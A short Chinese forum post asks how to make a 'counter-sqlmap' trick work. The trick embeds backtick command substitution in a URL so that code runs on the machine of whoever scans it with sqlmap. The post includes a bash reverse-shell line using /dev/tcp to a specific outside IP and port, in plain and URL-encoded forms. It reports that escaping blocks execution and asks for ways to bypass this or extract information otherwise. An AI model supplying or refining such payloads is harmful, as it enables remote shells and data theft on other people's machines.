今天看公众号看到了一个关于sqlmap的反制教学，基本就是在URL中拼接``这两个符号，在SQLMAP对该URL注入时会导致符号中的代码执行，试过假如是正常的连接类似http://192.168.129.128/?`bash -i >& /dev/tcp/112.16.8.31/22222，但是实际测试时特殊字符都会被转义，类似"http://192.168.129.128/?`bash+-i+>%26+%2Fdev%2Ftcp%2F112.16.8.31%2F22222+0>%261%0D%0A`“，转义后就无法正常执行了，有老哥懂的给弟弟讲讲有没有办法成功执行或者是通过其他办法提取信息吗
